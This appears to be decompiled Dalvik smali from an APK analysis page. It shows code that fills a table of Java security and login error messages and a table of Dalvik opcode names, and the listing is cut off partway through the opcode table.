                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Invalid null input: name"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "No LoginModules configured for {0}"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "invalid null Subject provided"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "invalid null CallbackHandler provided"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "null subject - logout called before login"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "unable to instantiate LoginModule, {0}, because it does not provide a no-argument constructor"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "unable to instantiate LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "unable to instantiate LoginModule: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "unable to find LoginModule class: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "unable to access LoginModule: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Login Failure: all modules ignored"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: error parsing {0}:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: error adding Permission, {0}:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: error adding Entry:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "alias name not provided ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "unable to perform substitution on alias, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "substitution value, {0}, unsupported"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "type can\'t be null"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "expected keystore type"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "expected keystore provider"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "multiple Codebase expressions"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "multiple SignedBy expressions"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy has empty alias"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "expected permission entry"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "number "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "expected [{0}], read [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "expected [;], read [end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "line {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "line {0}: expected [{1}], found [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "null principalClass or principalName"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11 Token [{0}] Password: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "unable to instantiate Subject-based policy"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • nop
                                                                              • move
                                                                              • move/from16
                                                                              • move/16
                                                                              • move-wide
                                                                              • move-wide/from16
                                                                              • move-wide/16
                                                                              • move-object
                                                                              • move-object/from16
                                                                              • move-object/16
                                                                              • move-result
                                                                              • move-result-wide
                                                                              • move-result-object
                                                                              • move-exception
                                                                              • return-void
                                                                              • return
                                                                              • return-wide
                                                                              • return-object
                                                                              • const/4
                                                                              • const/16
                                                                              • const
                                                                              • const/high16
                                                                              • const-wide/16
                                                                              • const-wide/32
                                                                              • const-wide
                                                                              • const-wide/high16
                                                                              • const-string
                                                                              • const-string-jumbo
                                                                              • const-class
                                                                              • monitor-enter
                                                                              • monitor-exit
                                                                              • check-cast
                                                                              • instance-of
                                                                              • array-length
                                                                              • new-instance
                                                                              • new-array
                                                                              • filled-new-array
                                                                              • filled-new-array-range
                                                                              • fill-array-data
                                                                              • throw
                                                                              • goto
                                                                              • goto/16
                                                                              • goto/32
                                                                              • packed-switch
                                                                              • sparse-switch
                                                                              • cmpl-float
                                                                              • cmpg-float
                                                                              • cmpl-double
                                                                              • cmpg-double
                                                                              • cmp-long
                                                                              • if-eq
                                                                              • if-ne
                                                                              • if-lt
                                                                              • if-ge
                                                                              • if-gt
                                                                              • if-le
                                                                              • if-eqz
                                                                              • if-nez
                                                                              • if-ltz
                                                                              • if-gez
                                                                              • if-gtz
                                                                              • if-lez
                                                                              • unused_3E
                                                                              • unused_3F
                                                                              • unused_40
                                                                              • unused_41
                                                                              • unused_42
                                                                              • unused_43
                                                                              • aget
                                                                              • aget-wide
                                                                              • aget-object
                                                                              • aget-boolean
                                                                              • aget-byte
                                                                              • aget-char
                                                                              • aget-short
                                                                              • aput
                                                                              • aput-wide
                                                                              • aput-object
                                                                              • aput-boolean
                                                                              • aput-byte
                                                                              • aput-char
                                                                              • aput-short
                                                                              • iget
                                                                              • iget-wide
                                                                              • iget-object
                                                                              • iget-boolean
                                                                              • iget-byte
                                                                              • iget-char
                                                                              • iget-short
                                                                              • iput
                                                                              • iput-wide
                                                                              • iput-object
                                                                              • iput-boolean
                                                                              • iput-byte
                                                                              • iput-char
                                                                              • iput-short
                                                                              • sget
                                                                              • sget-wide
                                                                              • sget-object
                                                                              • sget-boolean
                                                                              • sget-byte
                                                                              • sget-char
                                                                              • sget-short
                                                                              • sput
                                                                              • sput-wide
                                                                              • sput-object
                                                                              • sput-boolean
                                                                              • sput-byte
                                                                              • sput-char
                                                                              • sput-short
                                                                              • invoke-virtual
                                                                              • invoke-super
                                                                              • invoke-direct
                                                                              • invoke-static
                                                                              • invoke-interface
                                                                              • unused_73
                                                                              • invoke-virtual/range
                                                                              • invoke-super/range
                                                                              • invoke-direct/range
                                                                              • invoke-static/range
                                                                              • invoke-interface/range
                                                                              • unused_79
                                                                              • unused_7A
                                                                              • neg-int
                                                                              • not-int
                                                                              • neg-long
                                                                              • not-long
                                                                              • neg-float
                                                                              • neg-double
                                                                              • int-to-long
                                                                              • int-to-float
                                                                              • int-to-double
                                                                              • long-to-int
                                                                              • long-to-float
                                                                              • long-to-double
                                                                              • float-to-int
                                                                              • float-to-long
                                                                              • float-to-double
                                                                              • double-to-int
                                                                              • double-to-long
                                                                              • double-to-float
                                                                              • int-to-byte
                                                                              • int-to-char
                                                                              • int-to-short
                                                                              • add-int
                                                                              • sub-int
                                                                              • mul-int
                                                                              • div-int
                                                                              • rem-int
                                                                              • and-int
                                                                              • or-int
                                                                              • xor-int
                                                                              • shl-int
                                                                              • shr-int
                                                                              • ushr-int
                                                                              • add-long
                                                                              • sub-long
                                                                              • mul-long
                                                                              • div-long
                                                                              • rem-long
                                                                              • and-long
                                                                              • or-long
                                                                              • xor-long
                                                                              • shl-long
                                                                              • shr-long
                                                                              • ushr-long
                                                                              • add-float
                                                                              • sub-float
                                                                              • mul-float
                                                                              • div-float
                                                                              • rem-float
                                                                              • add-double
                                                                              • sub-double
                                                                              • mul-double
                                                                              • div-double
                                                                              • rem-double
                                                                              • add-int/2addr
                                                                              • sub-int/2addr
                                                                              • mul-int/2addr
                                                                              • div-int/2addr
                                                                              • rem-int/2addr
                                                                              • and-int/2addr
                                                                              • or-int/2addr
                                                                              • xor-int/2addr
                                                                              • shl-int/2addr
                                                                              • shr-int/2addr
                                                                              • ushr-int/2addr
                                                                              • add-long/2addr
                                                                              • sub-long/2addr
                                                                              • mul-long/2addr
                                                                              • div-long/2addr
                                                                              • rem-long/2addr
                                                                              • and-long/2addr
                                                                              • or-long/2addr
                                                                              • xor-long/2addr
                                                                              • shl-long/2addr
                                                                              • shr-long/2addr
                                                                              • ushr-long/2addr
                                                                              • add-float/2addr
                                                                              • sub-float/2addr
                                                                              • mul-float/2addr
                                                                              • div-float/2addr
                                                                              • rem-float/2addr
                                                                              • add-double/2addr
                                                                              • sub-double/2addr
                                                                              • mul-double/2addr
                                                                              • div-double/2addr
                                                                              • rem-double/2addr
                                                                              • add-int/lit16
                                                                              • sub-int/lit16
                                                                              • mul-int/lit16
                                                                              • div-int/lit16
                                                                              • rem-int/lit16
                                                                              • and-int/lit16
                                                                              • or-int/lit16
                                                                              • xor-int/lit16
                                                                              • add-int/lit8
                                                                              • sub-int/lit8
                                                                              • mul-int/lit-8
                                                                              • div-int/lit8
                                                                              • rem-int/lit8
                                                                              • and-int/lit8
                                                                              • or-int/lit8
                                                                              • xor-int/lit8
                                                                              • shl-int/lit8
                                                                              • shr-int/lit8
                                                                              • ushr-int/lit8
                                                                              • unused_E3
                                                                              • unused_E4
                                                                              • unused_E5
                                                                              • unused_E6
                                                                              • unused_E7
                                                                              • unused_E8
                                                                              • unused_E9
                                                                              • unused_EA
                                                                              • unused_EB
                                                                              • unused_EC
                                                                              • unused_ED
                                                                              • unused_EE
                                                                              • unused_EF
                                                                              • invoke-direct-empty
                                                                              • unused_F1
                                                                              • iget-wide-quick
                                                                              • iget-object-quick
                                                                              • iput-quick
                                                                              • iput-wide-quick
                                                                              • iput-object-quick
                                                                              • invoke-virtual-quick
                                                                              • invoke-virtual-quick/range
                                                                              • invoke-super-quick
                                                                              • invoke-super-quick/range
                                                                              • unused_FC
                                                                              • unused_FD
                                                                              • unused_FE
                                                                              • unused_FF
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/16 v0, 0x100
                                                                              2new-array v0, v0, [Ljava/lang/String;
                                                                              3const/4 v1, 0x0
                                                                              5const-string v2, "nop"
                                                                              6aput-object v2, v0, v1
                                                                              7const/4 v1, 0x1
                                                                              9const-string v2, "move"
                                                                              10aput-object v2, v0, v1
                                                                              11const/4 v1, 0x2
                                                                              13const-string v2, "move/from16"
                                                                              14aput-object v2, v0, v1
                                                                              15const/4 v1, 0x3
                                                                              17const-string v2, "move/16"
                                                                              18aput-object v2, v0, v1
                                                                              19const/4 v1, 0x4
                                                                              21const-string v2, "move-wide"
                                                                              22aput-object v2, v0, v1
                                                                              23const/4 v1, 0x5
                                                                              25const-string v2, "move-wide/from16"
                                                                              26aput-object v2, v0, v1
                                                                              27const/4 v1, 0x6
                                                                              29const-string v2, "move-wide/16"
                                                                              30aput-object v2, v0, v1
                                                                              31const/4 v1, 0x7
                                                                              33const-string v2, "move-object"
                                                                              34aput-object v2, v0, v1
                                                                              35const/16 v1, 0x8
                                                                              37const-string v2, "move-object/from16"
                                                                              38aput-object v2, v0, v1
                                                                              39const/16 v1, 0x9
                                                                              41const-string v2, "move-object/16"
                                                                              42aput-object v2, v0, v1
                                                                              43const/16 v1, 0xa
                                                                              45const-string v2, "move-result"
                                                                              46aput-object v2, v0, v1
                                                                              47const/16 v1, 0xb
                                                                              49const-string v2, "move-result-wide"
                                                                              50aput-object v2, v0, v1
                                                                              51const/16 v1, 0xc
                                                                              53const-string v2, "move-result-object"
                                                                              54aput-object v2, v0, v1
                                                                              55const/16 v1, 0xd
                                                                              57const-string v2, "move-exception"
                                                                              58aput-object v2, v0, v1
                                                                              59const/16 v1, 0xe
                                                                              61const-string v2, "return-void"
                                                                              62aput-object v2, v0, v1
                                                                              63const/16 v1, 0xf
                                                                              65const-string v2, "return"
                                                                              66aput-object v2, v0, v1
                                                                              67const/16 v1, 0x10
                                                                              69const-string v2, "return-wide"
                                                                              70aput-object v2, v0, v1
                                                                              71const/16 v1, 0x11
                                                                              73const-string v2, "return-object"
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x12
                                                                              77const-string v2, "const/4"
                                                                              78aput-object v2, v0, v1
                                                                              79const/16 v1, 0x13
                                                                              81const-string v2, "const/16"
                                                                              82aput-object v2, v0, v1
                                                                              83const/16 v1, 0x14
                                                                              85const-string v2, "const"
                                                                              86aput-object v2, v0, v1
                                                                              87const/16 v1, 0x15
                                                                              89const-string v2, "const/high16"
                                                                              90aput-object v2, v0, v1
                                                                              91const/16 v1, 0x16
                                                                              93const-string v2, "const-wide/16"
                                                                              94aput-object v2, v0, v1
                                                                              95const/16 v1, 0x17
                                                                              97const-string v2, "const-wide/32"
                                                                              98aput-object v2, v0, v1
                                                                              99const/16 v1, 0x18
                                                                              101const-string v2, "const-wide"
                                                                              102aput-object v2, v0, v1
                                                                              103const/16 v1, 0x19
                                                                              105const-string v2, "const-wide/high16"
                                                                              106aput-object v2, v0, v1
                                                                              107const/16 v1, 0x1a
                                                                              109const-string v2, "const-string"
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0x1b
                                                                              113const-string v2, "const-string-jumbo"
                                                                              114aput-object v2, v0, v1
                                                                              115const/16 v1, 0x1c
                                                                              117const-string v2, "const-class"
                                                                              118aput-object v2, v0, v1
                                                                              119const/16 v1, 0x1d
                                                                              121const-string v2, "monitor-enter"
                                                                              122aput-object v2, v0, v1
                                                                              123const/16 v1, 0x1e
                                                                              125const-string v2, "monitor-exit"
                                                                              126aput-object v2, v0, v1
                                                                              127const/16 v1, 0x1f
                                                                              129const-string v2, "check-cast"
                                                                              130aput-object v2, v0, v1
                                                                              131const/16 v1, 0x20
                                                                              133const-string v2, "instance-of"
                                                                              134aput-object v2, v0, v1
                                                                              135const/16 v1, 0x21
                                                                              137const-string v2, "array-length"
                                                                              138aput-object v2, v0, v1
                                                                              139const/16 v1, 0x22
                                                                              141const-string v2, "new-instance"
                                                                              142aput-object v2, v0, v1
                                                                              143const/16 v1, 0x23
                                                                              145const-string v2, "new-array"
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x24
                                                                              149const-string v2, "filled-new-array"
                                                                              150aput-object v2, v0, v1
                                                                              151const/16 v1, 0x25
                                                                              153const-string v2, "filled-new-array-range"
                                                                              154aput-object v2, v0, v1
                                                                              155const/16 v1, 0x26
                                                                              157const-string v2, "fill-array-data"
                                                                              158aput-object v2, v0, v1
                                                                              159const/16 v1, 0x27
                                                                              161const-string v2, "throw"
                                                                              162aput-object v2, v0, v1
                                                                              163const/16 v1, 0x28
                                                                              165const-string v2, "goto"
                                                                              166aput-object v2, v0, v1
                                                                              167const/16 v1, 0x29
                                                                              169const-string v2, "goto/16"
                                                                              170aput-object v2, v0, v1
                                                                              171const/16 v1, 0x2a
                                                                              173const-string v2, "goto/32"
                                                                              174aput-object v2, v0, v1
                                                                              175const/16 v1, 0x2b
                                                                              177const-string v2, "packed-switch"
                                                                              178aput-object v2, v0, v1
                                                                              179const/16 v1, 0x2c
                                                                              181const-string v2, "sparse-switch"
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x2d
                                                                              185const-string v2, "cmpl-float"
                                                                              186aput-object v2, v0, v1
                                                                              187const/16 v1, 0x2e
                                                                              189const-string v2, "cmpg-float"
                                                                              190aput-object v2, v0, v1
                                                                              191const/16 v1, 0x2f
                                                                              193const-string v2, "cmpl-double"
                                                                              194aput-object v2, v0, v1
                                                                              195const/16 v1, 0x30
                                                                              197const-string v2, "cmpg-double"
                                                                              198aput-object v2, v0, v1
                                                                              199const/16 v1, 0x31
                                                                              201const-string v2, "cmp-long"
                                                                              202aput-object v2, v0, v1
                                                                              203const/16 v1, 0x32
                                                                              205const-string v2, "if-eq"
                                                                              206aput-object v2, v0, v1
                                                                              207const/16 v1, 0x33
                                                                              209const-string v2, "if-ne"
                                                                              210aput-object v2, v0, v1
                                                                              211const/16 v1, 0x34
                                                                              213const-string v2, "if-lt"
                                                                              214aput-object v2, v0, v1
                                                                              215const/16 v1, 0x35
                                                                              217const-string v2, "if-ge"
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x36
                                                                              221const-string v2, "if-gt"
                                                                              222aput-object v2, v0, v1
                                                                              223const/16 v1, 0x37
                                                                              225const-string v2, "if-le"
                                                                              226aput-object v2, v0, v1
                                                                              227const/16 v1, 0x38
                                                                              229const-string v2, "if-eqz"
                                                                              230aput-object v2, v0, v1
                                                                              231const/16 v1, 0x39
                                                                              233const-string v2, "if-nez"
                                                                              234aput-object v2, v0, v1
                                                                              235const/16 v1, 0x3a
                                                                              237const-string v2, "if-ltz"
                                                                              238aput-object v2, v0, v1
                                                                              239const/16 v1, 0x3b
                                                                              241const-string v2, "if-gez"
                                                                              242aput-object v2, v0, v1
                                                                              243const/16 v1, 0x3c
                                                                              245const-string v2, "if-gtz"
                                                                              246aput-object v2, v0, v1
                                                                              247const/16 v1, 0x3d
                                                                              249const-string v2, "if-lez"
                                                                              250aput-object v2, v0, v1
                                                                              251const/16 v1, 0x3e
                                                                              253const-string v2, "unused_3E"
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x3f
                                                                              257const-string v2, "unused_3F"
                                                                              258aput-object v2, v0, v1
                                                                              259const/16 v1, 0x40
                                                                              261const-string v2, "unused_40"
                                                                              262aput-object v2, v0, v1
                                                                              263const/16 v1, 0x41
                                                                              265const-string v2, "unused_41"
                                                                              266aput-object v2, v0, v1
                                                                              267const/16 v1, 0x42
                                                                              269const-string v2, "unused_42"
                                                                              270aput-object v2, v0, v1
                                                                              271const/16 v1, 0x43
                                                                              273const-string v2, "unused_43"
                                                                              274aput-object v2, v0, v1
                                                                              275const/16 v1, 0x44
                                                                              277const-string v2, "aget"
                                                                              278aput-object v2, v0, v1
                                                                              279const/16 v1, 0x45
                                                                              281const-string v2, "aget-wide"
                                                                              282aput-object v2, v0, v1
                                                                              283const/16 v1, 0x46
                                                                              285const-string v2, "aget-object"
                                                                              286aput-object v2, v0, v1
                                                                              287const/16 v1, 0x47
                                                                              289const-string v2, "aget-boolean"
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x48
                                                                              293const-string v2, "aget-byte"
                                                                              294aput-object v2, v0, v1
                                                                              295const/16 v1, 0x49
                                                                              297const-string v2, "aget-char"
                                                                              298aput-object v2, v0, v1
                                                                              299const/16 v1, 0x4a
                                                                              301const-string v2, "aget-short"
                                                                              302aput-object v2, v0, v1
                                                                              303const/16 v1, 0x4b
                                                                              305const-string v2, "aput"
                                                                              306aput-object v2, v0, v1
                                                                              307const/16 v1, 0x4c
                                                                              309const-string v2, "aput-wide"
                                                                              310aput-object v2, v0, v1
                                                                              311const/16 v1, 0x4d
                                                                              313const-string v2, "aput-object"
                                                                              314aput-object v2, v0, v1
                                                                              315const/16 v1, 0x4e
                                                                              317const-string v2, "aput-boolean"
                                                                              318aput-object v2, v0, v1
                                                                              319const/16 v1, 0x4f
                                                                              321const-string v2, "aput-byte"
                                                                              322aput-object v2, v0, v1
                                                                              323const/16 v1, 0x50
                                                                              325const-string v2, "aput-char"
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x51
                                                                              329const-string v2, "aput-short"
                                                                              330aput-object v2, v0, v1
                                                                              331const/16 v1, 0x52
                                                                              333const-string v2, "iget"
                                                                              334aput-object v2, v0, v1
                                                                              335const/16 v1, 0x53
                                                                              337const-string v2, "iget-wide"
                                                                              338aput-object v2, v0, v1
                                                                              339const/16 v1, 0x54
                                                                              341const-string v2, "iget-object"
                                                                              342aput-object v2, v0, v1
                                                                              343const/16 v1, 0x55
                                                                              345const-string v2, "iget-boolean"
                                                                              346aput-object v2, v0, v1
                                                                              347const/16 v1, 0x56
                                                                              349const-string v2, "iget-byte"
                                                                              350aput-object v2, v0, v1
                                                                              351const/16 v1, 0x57
                                                                              353const-string v2, "iget-char"
                                                                              354aput-object v2, v0, v1
                                                                              355const/16 v1, 0x58
                                                                              357const-string v2, "iget-short"
                                                                              358aput-object v2, v0, v1
                                                                              359const/16 v1, 0x59
                                                                              361const-string v2, "iput"
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x5a
                                                                              365const-string v2, "iput-wide"
                                                                              366aput-object v2, v0, v1
                                                                              367const/16 v1, 0x5b
                                                                              369const-string v2, "iput-object"
                                                                              370aput-object v2, v0, v1
                                                                              371const/16 v1, 0x5c
                                                                              373const-string v2, "iput-boolean"
                                                                              374aput-object v2, v0, v1
                                                                              375const/16 v1, 0x5d
                                                                              377const-string v2, "iput-byte"
                                                                              378aput-object v2, v0, v1
                                                                              379const/16 v1, 0x5e
                                                                              381const-string v2, "iput-char"
                                                                              382aput-object v2, v0, v1
                                                                              383const/16 v1, 0x5f
                                                                              385const-string v2, "iput-short"
                                                                              386aput-object v2, v0, v1
                                                                              387const/16 v1, 0x60
                                                                              389const-string v2, "sget"
                                                                              390aput-object v2, v0, v1
                                                                              391const/16 v1, 0x61
                                                                              393const-string v2, "sget-wide"
